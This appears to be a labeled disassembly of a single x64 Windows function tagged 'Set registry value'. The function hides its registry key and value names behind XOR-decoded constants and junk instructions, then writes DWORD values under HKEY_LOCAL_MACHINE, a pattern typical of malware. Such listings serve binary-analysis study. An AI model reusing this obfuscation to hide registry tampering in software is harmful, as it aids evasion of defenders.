Function at 0x1403fedd2
Capabilities:
Set registry value

Disassembly:
push r15
push r14
push r13
rol r13b, cl
ror r14w, 0x81
push r12
movsx r12d, si
cmp r9b, cl
xchg r12b, r12b
push rsi
push rdi
dec r12d
sal rsi, 0x52
push rbp
adc si, 0x6074
push rbx
cbw
rol edi, 0xfa
sub rsp, 0x2f8
movzx r15w, sil
movsxd rbp, ebx
movsx edi, si
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
movsx rbx, di
jmp 0x1403fee2e
mov qword [rsp + 0x40], rax
jmp 0x1403fee3b
movabs rax, 0x2204bcb80ebea5a3
xchg di, r13w
movzx r15, di
mov qword [rsp + 0x2d8], rax
not sil
mov r12b, r10b
movsx rdi, cx
mov qword [rsp + 0x48], rax
movzx r15, r8w
movabs rax, 0xfbc9f38de01f2fa2
setae bpl
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
movabs rax, 0x17a75ff95317a686
movsxd rbp, r9d
movzx r15d, sp
mov qword [rsp + 0x2c8], rax
xchg rsi, r13
movzx r14d, cx
jmp 0x1403feea8
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
movzx bp, dil
cmova bp, r10w
mov qword [rsp + 0x2c0], rax
xchg r15d, ebp
movzx r14w, dl
mov r15b, sil
mov qword [rsp + 0x60], rax
movsxd rdi, eax
lahf
movabs rax, 0x4b3964fdcd447246
setnp r14b
movsx esi, sp
not bh
mov qword [rsp + 0x2b8], rax
xchg bp, r13w
jmp 0x1403fef01
mov qword [rsp + 0x68], rax
movzx r15d, r10w
movabs rax, 0xee88324679eb2227
cmovs r14d, edx
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
movzx ebp, r12w
movabs rax, 0x6d7346ad6d4ffefa
not r12b
mov qword [rsp + 0x2a8], rax
movsxd rsi, r15d
mov qword [rsp + 0x78], rax
jmp 0x1403fef4d
movabs rax, 0xd093683aef376a76
movzx si, bpl
movsx r14d, dx
mov qword [rsp + 0x2a0], rax
movsxd rbx, r14d
mov r15b, 0x8c
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
xchg r15b, bl
cmovs r15d, r12d
mov qword [rsp + 0x298], rax
jmp 0x1403fef94
mov qword [rsp + 0x88], rax
cwde
mov bl, spl
movabs rax, 0x33e730243394033e
mov r14w, r10w
mov qword [rsp + 0x290], rax
movzx bx, r13b
mov qword [rsp + 0x90], rax
movsx r12d, r11w
movabs rax, 0xe7e3977e114e6703
cmovno r15w, dx
movsx rdi, r8w
mov qword [rsp + 0x288], rax
mov sil, al
setne bpl
mov qword [rsp + 0x98], rax
movabs rax, 0xb0b65ec58a603c8
movsx r14d, di
mov di, r11w
mov qword [rsp + 0x280], rax
bswap r13w
cmovge r13w, dx
movzx r14w, dl
mov qword [rsp + 0xa0], rax
mov eax, 0x6c8392e
movabs rax, 0x6708be65ca8156d7
xchg sil, sil
mov qword [rsp + 0x278], rax
movsx r14, di
mov qword [rsp + 0xa8], rax
movzx ax, bl
movsxd r14, r11d
movabs rax, 0x46a7044da5524090
movsx r12w, r14b
bswap r13d
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
setle r13b
bswap r13w
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
movabs rax, 0xe627ab41184af921
movsx r12d, r14w
mov qword [rsp + 0x260], rax
mov ebx, 0x5e2c69af
cmovnp di, sp
mov edi, r11d
mov qword [rsp + 0xc0], rax
sete r15b
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
jmp 0x1403ff0e6
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
movsxd rax, r10d
movzx bp, sil
movabs rax, 0xa5eac9844f8ea419
movzx rbx, dx
movsx esi, ax
bswap edi
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
not r15b
mov dword [rsp + 0x3c], 0
movabs rbp, 0x2eb490333e21dae3
movzx bx, r11b
cbw
movzx r12, si
mov qword [rsp + 0xe0], rbp
movzx eax, r12w
movabs r14, 0x28903e48668cb956
not r12w
lahf
mov qword [rsp + 0xe8], r14
xchg al, dil
movzx r15, si
movsx rbx, bx
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
xchg ebx, edi
movsx r13, di
mov qword [rsp + 0x108], r12
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movsxd rdi, ebp
movabs rdi, 0x17c85fba5363a6e8
movzx r13, ax
cwde
mov qword [rsp + 0x118], rdi
movzx r13w, dl
movsxd rax, r15d
movabs rax, 0xfdf6d5258f21fa01
mov rbx, 0x6364196e
cmove ebx, edx
setae r13b
mov qword [rsp + 0x120], rax
mov rbx, rax
cdqe
mov ah, ch
movabs rax, 0x4b4d6498cd17722a
movzx r13, r12w
mov qword [rsp + 0x2f0], rax
cmovle r13w, r11w
mov qword [rsp + 0x128], rax
mov r13b, dl
cmovo r13, rsi
movabs rax, 0xeefa322379b8227b
movsx r13d, r10w
jmp 0x1403ff234
mov qword [rsp + 0x250], rax
setns r13b
mov qword [rsp + 0x130], rax
movsx eax, cx
movzx ax, r14b
not r13b
movabs rax, 0x6d1646ce6d26fe8c
not r13b
movsx r13, r13w
mov r13b, bpl
mov qword [rsp + 0x248], rax
movsx r13d, r10w
mov r13w, r11w
seto r13b
mov qword [rsp + 0x138], rax
setae al
movabs rax, 0xd0fb6869ef6b6a05
cmovns r13w, r11w
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x140], rax
mov ax, r9w
movzx r13w, r13b
movsxd r13, eax
movabs rax, 0xa86b938cd3598c0e
movzx r13, si
xchg r13b, r13b
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x148], rax
movsx eax, r11w
movabs rax, 0x3382304733f7037f
mov r13b, 0x30
setge r13b
mov r13b, bl
mov qword [rsp + 0x230], rax
movsxd r13, edi
mov r13b, 0xa1
not r13b
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
cmovp r13w, ax
movzx r13w, r9b
movsxd r13, r12d
mov qword [rsp + 0x228], rax
mov r13w, 0x6c59
bswap r13w
mov qword [rsp + 0x158], rax
movsxd r13, edi
bswap rax
movsx ax, r12b
movabs rax, 0xb66658d58d403a9
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x160], rax
movzx r13, bx
movabs rax, 0x677abe00caf556b2
mov r13b, 0x37
cmovbe r13, r12
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
not rax
cmovno ax, r12w
mov al, r10b
movabs rax, 0x46ce040ba50e40e3
movzx r13d, bp
movsxd r13, r14d
mov qword [rsp + 0x210], rax
movsx r13, bx
movzx r13, cx
mov qword [rsp + 0x170], rax
cwde
movabs rax, 0x4bedb536ca600f34
mov qword [rsp + 0x208], rax
movzx r13d, r12w
mov qword [rsp + 0x178], rax
xchg r13b, r13b
cmovge r13, r12
movabs rax, 0xe648ab111826f94d
movsx r13d, sp
mov qword [rsp + 0x200], rax
mov r13, rsi
xchg r13w, r13w
mov qword [rsp + 0x180], rax
cwde
cdqe
cmovge r13w, ax
movabs rax, 0x7a4c14b68a1bf6
not r13b
movsx r13d, r11w
bswap r13w
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
movsx r13, bx
mov qword [rsp + 0x1f0], rax
mov r13w, ax
movsx r13w, r14b
movsx r13d, si
mov qword [rsp + 0x190], rax
movsx eax, r8w
movabs rax, 0xa5bac9ea4fe7a478
movsx r13w, r9b
movsxd r13, edx
not r13b
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
movsx r13, di
jmp 0x1403ff490
mov qword [rsp + 0x1e0], rax
jmp 0x1403ff49d
mov qword [rsp + 0x1a0], rax
mov r13b, 0x3a
movabs rax, 0x28903e4866e9b93a
not r13b
xchg r13w, r13w
movsx r13d, r9w
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1a8], rax
cbw
lea r13, [rsp + 0x100]
movsx eax, bx
nop
bswap ax
mov rax, r13
jmp 0x1403ff4e7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ff4f1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff4fe
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403ff508
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403ff516
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403ff520
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403ff533
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403ff541
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403ff55a
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ff567
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ff578
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403ff591
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403ff59e
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403ff5b7
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403ff5cb
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
xchg dl, r8b
not dx
lea rdx, [rsp + 0x40]
cmovae r8w, ax
movsx r8d, r14w
movsx rcx, si
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403ff622
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
jmp 0x1403ff63f
mov qword [rsp + 0x40], rax
movsx rax, cx
movsx ax, r15b
movabs rax, 0x222ebca20e96a58a
jmp 0x1403ff65c
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x48], rax
movzx rax, r14w
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403ff67c
mov qword [rsp + 0x2e8], rax
jmp 0x1403ff689
mov qword [rsp + 0x50], rax
mov al, r10b
movzx ax, r14b
movabs rax, 0x17c85fba530fa684
jmp 0x1403ff6a5
mov qword [rsp + 0x1c0], rax
jmp 0x1403ff6b2
mov qword [rsp + 0x58], rax
movsxd rax, esi
movzx rax, cx
mov qword [rsp + 0x100], r15
jmp 0x1403ff6ce
mov qword [rsp + 0x108], r12
movsx ax, r14b
movsx eax, bp
mov qword [rsp + 0x110], rsi
movsx eax, dx
mov qword [rsp + 0x118], rdi
lahf
mov rax, r13
jmp 0x1403ff6fa
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ff704
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff711
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
add dx, si
btr rax, rdi
mov rcx, qword [rsp + 0x30]
clc
lea rax, [rsp + 0x3c]
movsxd r9, r10d
movsx dx, r15b
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
rol r9w, cl
xor r8d, r8d
movsx r9d, bp
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403ff76c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403ff77f
mov qword [rsp + 0x40], rax
movsx ax, r13b
movsxd rax, r13d
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ff799
mov qword [rsp + 0x48], rax
movzx rax, bx
movsxd rax, r15d
cmovl rax, rsi
mov rax, qword [rsp + 0x2d0]
jmp 0x1403ff7b6
mov qword [rsp + 0x50], rax
movsx rax, sp
movzx ax, r14b
mov rax, qword [rsp + 0x2c8]
jmp 0x1403ff7d1
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403ff7e3
mov qword [rsp + 0x60], rax
bswap ax
cmove ax, r15w
mov rax, qword [rsp + 0x2b8]
jmp 0x1403ff7fd
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403ff80f
mov qword [rsp + 0x70], rax
bswap ax
mov al, al
mov rax, qword [rsp + 0x2a8]
jmp 0x1403ff826
mov qword [rsp + 0x78], rax
xchg ah, al
mov rax, qword [rsp + 0x2a0]
jmp 0x1403ff83a
mov qword [rsp + 0x80], rax
movzx rax, r12w
not al
movzx ax, r9b
mov rax, qword [rsp + 0x298]
jmp 0x1403ff85a
mov qword [rsp + 0x88], rax
cwde
nop
mov rax, qword [rsp + 0x290]
jmp 0x1403ff872
mov qword [rsp + 0x90], rax
movzx rax, r14w
movsx rax, di
bswap rax
mov rax, qword [rsp + 0x288]
jmp 0x1403ff892
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov ax, sp
movzx rax, cx
movsx eax, cx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
cdqe
bswap ax
movzx eax, r11w
mov rax, qword [rsp + 0x270]
jmp 0x1403ff8da
mov qword [rsp + 0xb0], rax
lahf
cbw
cdqe
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1403ff904
mov qword [rsp + 0xc0], rax
mov ax, si
movsx eax, ax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
xchg ah, ah
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403ff933
mov qword [rsp + 0xd0], rax
movsxd rax, esp
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403ff94d
mov qword [rsp + 0xd8], rax
cmovbe ax, bx
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
mov r14b, 0x28
mov qword [rsp + 0x108], r12
bswap ebp
movsx eax, bx
mov r14w, r15w
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cmovne r14w, r14w
mov rbp, rbx
jmp 0x1403ff9a8
mov qword [rsp + 0x120], rbx
mov r14, qword [rsp + 0x2f0]
cdqe
lahf
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1403ff9d0
mov qword [rsp + 0x130], rax
cbw
nop
mov rax, qword [rsp + 0x248]
jmp 0x1403ff9e9
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x1403ff9fe
mov qword [rsp + 0x140], rax
movzx rax, r8w
movsx ax, r15b
mov rax, qword [rsp + 0x238]
jmp 0x1403ffa1c
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
movzx eax, r9w
cdqe
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
cbw
movsx eax, r13w
jmp 0x1403ffa55
mov rax, qword [rsp + 0x220]
jmp 0x1403ffa62
mov qword [rsp + 0x160], rax
not ax
jmp 0x1403ffa77
mov rax, qword [rsp + 0x218]
jmp 0x1403ffa84
mov qword [rsp + 0x168], rax
cwde
lahf
mov rax, qword [rsp + 0x210]
jmp 0x1403ffa9b
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403ffab0
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1403ffac5
mov qword [rsp + 0x180], rax
mov rax, r8
bswap ax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403ffae0
mov qword [rsp + 0x188], rax
bswap ax
cdqe
mov rax, qword [rsp + 0x1f0]
jmp 0x1403ffafa
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x1403ffb0f
mov qword [rsp + 0x198], rax
jmp 0x1403ffb25
mov rax, qword [rsp + 0x1e0]
jmp 0x1403ffb32
mov qword [rsp + 0x1a0], rax
movzx rax, bp
mov rax, qword [rsp + 0x1d8]
jmp 0x1403ffb4b
mov qword [rsp + 0x1a8], rax
mov rax, r13
jmp 0x1403ffb5b
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ffb65
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403ffb7c
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ffb86
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403ffb94
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403ffba2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403ffbb0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403ffbbd
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403ffbce
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ffbdb
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ffbec
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403ffbf9
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403ffc0a
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403ffc3a
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403ffc56
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403ffc63
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
bswap r8w
cmovno r8d, esi
movzx r8, di
lea r8, [rsp + 0x30]
jmp 0x1403ffc94
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
cmovns bx, r13w
movsx rbx, r12w
mov bx, 0x39ed
mov qword [rsp + 0x40], rax
movsx rbx, r15w
movsx ebx, di
cwde
mov rax, qword [rsp + 0x1c8]
jmp 0x1403ffcce
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
cdqe
mov rax, qword [rsp + 0x1c0]
jmp 0x1403ffcef
mov qword [rsp + 0x58], rax
movsx ax, r10b
mov qword [rsp + 0x100], r15
cwde
mov qword [rsp + 0x108], r12
cmovbe eax, ebx
not ah
mov qword [rsp + 0x110], rsi
bswap rax
movsx rax, r10w
mov qword [rsp + 0x118], rdi
bswap ax
lahf
movsx ax, r8b
mov rax, r13
jmp 0x1403ffd37
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ffd41
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movsx rax, sp
movzx rax, r13w
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
ror rdx, cl
bsf r9, r12
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
sub r8d, r8d
movsx r9d, r10w
mov r9d, 0x465325ab
movzx r9w, r11b
mov r9d, 4
jmp 0x1403ffd9f
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403ffdbd
mov qword [rsp + 0x40], rax
nop
jmp 0x1403ffdcc
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ffdd9
mov qword [rsp + 0x48], rax
movsx rax, ax
setns al
movzx rax, r13w
mov rax, qword [rsp + 0x2d0]
jmp 0x1403ffdf6
mov qword [rsp + 0x50], rax
not eax
mov al, 0x5c
lahf
mov rax, qword [rsp + 0x2c8]
jmp 0x1403ffe0d
mov qword [rsp + 0x58], rax
movsx eax, r11w
mov rax, qword [rsp + 0x2c0]
jmp 0x1403ffe23
mov qword [rsp + 0x60], rax
lahf
mov al, 0x43
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403ffe45
mov qword [rsp + 0x70], rax
cwde
mov rax, qword [rsp + 0x2a8]
jmp 0x1403ffe58
mov qword [rsp + 0x78], rax
cmovno ax, bx
cdqe
movsx eax, bp
mov rax, qword [rsp + 0x2a0]
jmp 0x1403ffe73
mov qword [rsp + 0x80], rax
cmovb rax, r12
mov rax, qword [rsp + 0x298]
jmp 0x1403ffe8c
mov qword [rsp + 0x88], rax
cmovp rax, r11
cdqe
mov rax, qword [rsp + 0x290]
jmp 0x1403ffea7
mov qword [rsp + 0x90], rax
cwde
cbw
mov al, r8b
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
movzx rax, cx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403ffee6
mov qword [rsp + 0xa8], rax
cbw
mov rax, qword [rsp + 0x270]
jmp 0x1403ffefd
mov qword [rsp + 0xb0], rax
lahf
cbw
cdqe
mov rax, qword [rsp + 0x268]
jmp 0x1403fff17
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1403fff2c
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x1403fff41
mov qword [rsp + 0xc8], rax
not eax
movsx eax, bx
movzx eax, bp
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
mov ax, 0x145d
movsxd rax, edx
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fff79
mov qword [rsp + 0xd8], rax
mov eax, r15d
cwde
movsx rax, di
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fff98
mov qword [rsp + 0xe0], rax
movzx eax, ax
cbw
movabs rax, 0x28f53e246680b95c
jmp 0x1403fffb4
mov qword [rsp + 0xe8], rax
cbw
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
lahf
mov qword [rsp + 0x110], rsi
movzx ax, r15b
movsx rax, r12w
movsxd rax, esp
mov qword [rsp + 0x118], rdi
movzx eax, r11w
movsx ax, r8b
movsxd rax, r15d
mov qword [rsp + 0x120], rbp
not ah
mov qword [rsp + 0x128], r14
movzx rax, r9w
mov rax, rcx
mov rax, qword [rsp + 0x250]
jmp 0x14040001d
mov qword [rsp + 0x130], rax
setns ah
movsxd rax, ecx
mov rax, qword [rsp + 0x248]
jmp 0x140400038
mov qword [rsp + 0x138], rax
movsx eax, r14w
mov rax, qword [rsp + 0x240]
jmp 0x140400051
mov qword [rsp + 0x140], rax
mov ax, r11w
bswap ax
not ax
mov rax, qword [rsp + 0x238]
jmp 0x140400070
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x140400095
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1404000aa
mov qword [rsp + 0x160], rax
movsx ax, r15b
nop
mov rax, qword [rsp + 0x218]
jmp 0x1404000c6
mov qword [rsp + 0x168], rax
bswap ax
mov rax, qword [rsp + 0x210]
jmp 0x1404000de
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
jmp 0x140400103
mov rax, qword [rsp + 0x200]
jmp 0x140400110
mov qword [rsp + 0x180], rax
movsx eax, bp
movzx rax, dx
cdqe
mov rax, qword [rsp + 0x1f8]
jmp 0x14040012e
mov qword [rsp + 0x188], rax
not ax
movsx ax, sil
mov rax, qword [rsp + 0x1f0]
jmp 0x14040014b
mov qword [rsp + 0x190], rax
lahf
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
cwde
not eax
cbw
mov rax, qword [rsp + 0x1e0]
jmp 0x140400176
mov qword [rsp + 0x1a0], rax
mov ax, 0x2404
not rax
mov rax, qword [rsp + 0x1d8]
jmp 0x140400192
mov qword [rsp + 0x1a8], rax
cbw
movabs rax, 0xa1410f538a85c08b
jmp 0x1404001ab
mov qword [rsp + 0xf0], rax
jmp 0x1404001b8
mov qword [rsp + 0x1b0], rax
movabs rax, 0x6078a8fe5539451c
jmp 0x1404001cf